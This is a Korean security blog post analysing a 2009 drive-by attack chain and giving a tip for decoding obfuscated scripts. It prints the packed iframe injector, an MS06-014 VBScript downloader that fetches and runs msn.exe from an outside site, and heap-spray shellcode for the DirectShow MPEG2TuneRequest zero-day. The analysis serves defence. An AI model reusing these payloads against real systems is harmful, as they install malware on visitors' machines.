'스크립트 디코딩'에 해당되는 글 1건

  1. 2009.10.01 DirectShow MPEG2TuneRequest(0-day) 및 MS06-014 취약점 공격 악성스크립트 1
0x02 analysis2009. 10. 1. 18:03

지금쯤 고향앞으로!! 하시는 분들도 계실겁니다.
무사히 다녀오시길 바랍니다. ^^
전 먼저 갔다와서 내일,모레까지 근무네요...ㅜ.ㅜ

오랜만에 스크립트 하나 분석했습니다.

확보한 파일은 총 8개입니다.

swf.js --- Main.asp ---+--- ad.htm ---> hxxp://www.eleparts.co.kr/data/msn.exe
                       +--- index.htm ---+--- he1.swf
                                         +--- he3.swf
                                         +--- he2.swf

swf.js

eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('7.8("<1 5=4://2.3.6.9/d./e.c b=0 a=0></1>");',15,15,'|iframe|xxx|yyy|http|src||document|write|zzz|height|width|asp|t|Main'.split('|'),0,{}))

첫번째 스크립트는 패킹되어 있었습니다. http://dean.edward.name/unpacker 에서 언패킹해보면 iframe으로 Main.asp를 삽입하고 있었습니다.

document.write("<iframe src=http://xxx.yyy.6.zzz/t./Main.asp width=0 height=0></iframe>");


Main.asp

<SCRIPT>
document.write("<iframe width=50 height=0 src=ad.htm></iframe>");
document.write("<iframe width=100 height=0 src=index.htm></iframe>");
window.status="供냥";
window.onerror=function(){return true;}
</SCRIPT>
</HEAD>
</HTML>


ad.htm

<script type="text/jscript">
function init() {
document.write("");
}
window.onload = init;
</script>
<script>
var a1 = "ABCDEFG";
var a2 = "HIJKLMNOP";
var a3 = "QRSTUVWXYZabcdef";
var keyStrs = a1+a2+a3+"ghijklmnopqrstuv"+"wxyz0123456789+/"+"=";
function mydata(input){
 var output="";
 var chr1,chr2,chr3="";
 var enc1,enc2,enc3,enc4="";
 var i=0;
 var base64test=/[^A-Za-z0-9\+\/\=]/g;
 input=input.replace(/[^A-Za-z0-9\+\/\=]/g,"");
 do{
  enc1=keyStrs.indexOf(input.charAt(i++));
  enc2=keyStrs.indexOf(input.charAt(i++));
  enc3=keyStrs.indexOf(input.charAt(i++));
  enc4=keyStrs.indexOf(input.charAt(i++));
  chr1=(enc1<<2)|(enc2>>4);
  chr2=((enc2&15)<<4)|(enc3>>2);
  chr3=((enc3&3)<<6)|enc4;
  output=output+String.fromCharCode(chr1);
  if(enc3!=64){output=output+String.fromCharCode(chr2);};
  if(enc4!=64){output=output+String.fromCharCode(chr3);};
  chr1=chr2=chr3="";
  enc1=enc2=enc3=enc4="";
 };
 while(i<input.length);return output;
 };
t="43 + 37 ,107 - 36 ,9880 / 95 ,64 - 16 ,117 - 19 ,141 - 54 ,8211 / 69 ,9 + 34 ,884 / 13 ,97 - 16 ,153 - 42 ,38 + 18 ,75 + 24 ,350 / 7 ,5772 / 74 ,2057 / 17 ,0 + 97 ,70 + 18 ,3498 / 53 ,3 + 45 ,3358 / 46 ,16 + 55 ,137 - 17 ,90 + 14 ,174 - 76 ,153 - 44 ,167 - 67 ,1715 / 35 ,3204 / 36 ,4437 / 51 ,42 + 58 ,8856 / 82 ,51 + 29 ,3320 / 40 ,109 - 35 ,75 + 12 ,157 - 76 ,3348 / 31 ,113 - 35 ,64 + 42 ,172 - 73 ,4360 / 40 ,54 + 54 ,156 - 37 ,9200 / 92 ,1139 / 17 ,29 + 44 ,46 - 3 ,4420 / 65 ,72 + 9 ,6 + 106 ,179 - 61 ,1372 / 14 ,10395 / 99 ,52 + 14 ,196 - 88 ,... 중략 ...,13 + 90 ,51 + 39 ,10 + 99 ,102 - 49 ,187 - 83 ,1666 / 17 ,9 + 78 ,4760 / 56 ,30 + 90 ,94 - 18 ,670 / 10 ,102 - 29 ,4200 / 40 ,44 + 32 ,1675 / 25 ,56 + 17 ,111 - 6 ,30 + 46 ,4154 / 62 ,58 + 16 ,4720 / 40 ,94 + 5 ,83 - 12 ,4420 / 52 ,10185 / 97 ,3922 / 53 ,210 - 105 ,146 - 72 ,35 + 82 ,67 + 6 ,205 - 100 ,156 - 37 ,13447 / 113 ,4420 / 65 ,2754 / 34 ,174 - 63 ,1680 / 30 ,1 + 75 ,816 / 16 ,31 + 47 ,152 - 46 ,127 - 28 ,65 + 44 ,195 - 87 ,195 - 76 ,1700 / 17 ,55 + 13 ,22 + 30 ,84 - 23 ";
t=eval("mydata(String.fromCharCode("+t+"))");
document.write(t);
</script>

ad.htm은 t에 저장되는 문자열이 핵심입니다.
위 스크립트를 디코딩해보면

<html>
<script language="VBScript">
on error resume next
dl = "http://www.xxxxxxxx.co.kr/data/msn.exe"
Set df = document.createElement("ob"&"ject")
df.setAttribute "classid", "clsid:BD96C55"&"6-65A3-11D0-983A-00C04FC29E36"
str="Microsoft"&".XMLHTTP"
Set x = df.CreateObject(str,"")
a1="Ado"
a2="db."
a3="Str"&"ea"
str1=a1&a2&a3
str5=str1
set S = df.createobject(str5&"m","")
S.type = 1
str6="G"&"ET"
x.Open str6, dl, False
x.Send
fname1="g0ld"&".com"
set F = df.createobject("Scripti"&"ng.FilesystemObject","")
set tmp = F.GetSpecialFolder(2)
S.open
fname1= F.BuildPath(tmp,fname1)
S.write x.responseBody
S.savetofile fname1,2
S.close
set Q = df.createobject("Shell.Ap"&"plication","")
Q.ShellExecute fname1,"","","ope"&"n",0
</script>

이 스크립트는 MS06-014 취약점을 공격해서 hxxp://www.xxxxxxxx.co.kr/data/msn.exe 파일을 다운로드하여 실행하게끔 합니다. 미리 받아놨어야 하는데 안받아놨었습니다. -_-;; 지금은 다운로드가 안되는군요...


index.htm

<html>
<body> 
<div id="DivID">
<script src='he1.swf'></script> 
<script src='he3.swf'>
</script>
<script src='he2.swf'></script> 
</body>
</html>



he1.swf, he3.swf, he2.swf

var XXXxxyt='0';
var xxyytt='%';
var xxttyy='u';
var ttyyxx=xxyytt+xxttyy;
var UUse=ttyyxx+'9'+'09'+'0'+ttyyxx+'9'+'0'+'9'+XXXxxyt;
var YTavp='%uBDBD%uBDBD%uBDBD%uBDBD%uBDBD%uBDBD%uBDBD%uBDBD%uEAEA';
var YTavp1='%u5858%u5858%u10EB%u4B5B%uC933%uB966%u03B8%u3480%uBD0B%uFAE2%u05EB%uEBE8%uFFFF';
var ytshell=unescape(UUse+YTavp1+... 중략 ...+'%u4627%uA8EE%ud5db%uc9c9%u87cd%u9292%ud2c9%ucfc8%ud493%udccb%uded3%uc9d4%u93c4%ud2de%u92d0%ud0d4%udadc%uced8%ud492%udccb%u92d3%ud2d1%ud2da%ud893%ud8c5%uBDBD%uBDBD'+YTavp);
var headersize=20;
var omybro=unescape(UUse);

var coass="darf";

var slacksace=headersize+ytshell.length;

while(omybro.length<slacksace)
omybro+=omybro;
bZmybr=omybro.substring(0,slacksace);
shuishiMVP=omybro.substring(0,omybro.length-slacksace);
while(shuishiMVP.length+slacksace<0x30000)
shuishiMVP=shuishiMVP+shuishiMVP+bZmybr;
memory=new Array();
var r=0;
var rsc="f";
for(x=r;x<300;x++)
memory[x]=shuishiMVP+ytshell;

var vpnject=document.createElement('ob'+'j'+'e'+'c'+'t');
DivID.appendChild(vpnject);
vpnject.width='1';
vpnject.height='1';
vpnject.data='./logo.gif';
var caoavp='li';
vpnject.classid='clsid:0955AC62-BF2E-4CBA-A'+'2B9-A63F772D46CF';


he1.swf, hw2.sef, hw3.swf는 플래쉬 파일이긴 하지만 실제로는 자바스크립트가 들어 있었습니다.
이 스크립트는 DirectShow MPEG2TuneRequest 취약점을 공격하는 제로데이 스크립트입니다.

자세한 내용은 http://hummingbird.tistory.com/1184 를 참조하시기 바랍니다.




참고로 ad.htm과 같은 형태의 스크립트가 실제로는 어떤 스크립트인지 확인하기 위해서는 디코딩 작업을 수행해야 합니다.
이런 경우 디코딩하는 간단한 팁(?)을 적어볼까 합니다.

ad.htm 스크립트 내용을 그대로 적고 마지막에 document.write(t); 와 </script> 는 지웁니다.
그리고 아래 내용을 이어서 적습니다.

document.write("<textarea rows=30 cols=100>");
document.write(t);
document.write("</textarea>");
</script>

이렇게 html 파일을 웹서버에 만들고 해당 파일을 요청하면 인코딩된 내용들이 디코딩되고 원래대로는 document.write(t)에서 실행하게 되는데 위 html 파일을 보면 <textarea>라는 태그때문에 스크립트가 실행되지 않고 텍스트 상자안에 디코딩된 스크립트 내용이 그대로 출력되게 됩니다.


이 방법은 일반적으로 많이 볼 수 있는 인코딩된 스크립트를 디코딩하는데에도 사용 가능합니다.
<textarea> 태그의 특성을 이용해서 스크립트를 그대로 출력하게 하는 방법으로 일반적으로 많이 보이는 인코딩된 스크립트는 document.write(unescape("인코딩된 문자열")); 과 같은 방법으로 확인 가능합니다.

즉, 아래와 같이 쓰시면 됩니다.

document.write("<textarea rows=30 cols=100>");
document.write(unescape("인코딩된 문자열"));
document.write("</textarea>");
</script>


이 방법을 알려주신 방립동님께 거듭 감사드립니다. ^^



그럼 오늘도 즐삽~





Posted by demantos